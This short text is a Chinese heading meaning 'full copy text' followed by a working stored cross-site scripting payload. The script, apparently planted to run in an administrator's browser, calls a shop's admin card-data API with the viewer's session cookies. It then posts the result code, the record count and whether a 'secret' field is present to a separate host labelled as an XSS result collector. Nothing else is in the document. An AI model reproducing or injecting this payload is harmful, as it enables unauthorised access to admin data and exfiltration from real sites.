完整文案
<script>fetch('https://vhaveai.top/admin/api/card/data',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'page=1&limit=1&equal-commodity_id=18&equal-status=0'}).then(r=>r.json()).then(j=>fetch('https://sucai.vhaveai.top/item18-admin-xss-result',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({probe:'ITEM18_ADMIN_CARD_ACCESS',code:j.code,total:j.data&&j.data.total,row:!!(j.data&&j.data.list&&j.data.list[0]),secret_present:!!(j.data&&j.data.list&&j.data.list[0]&&j.data.list[0].secret)})}))</script>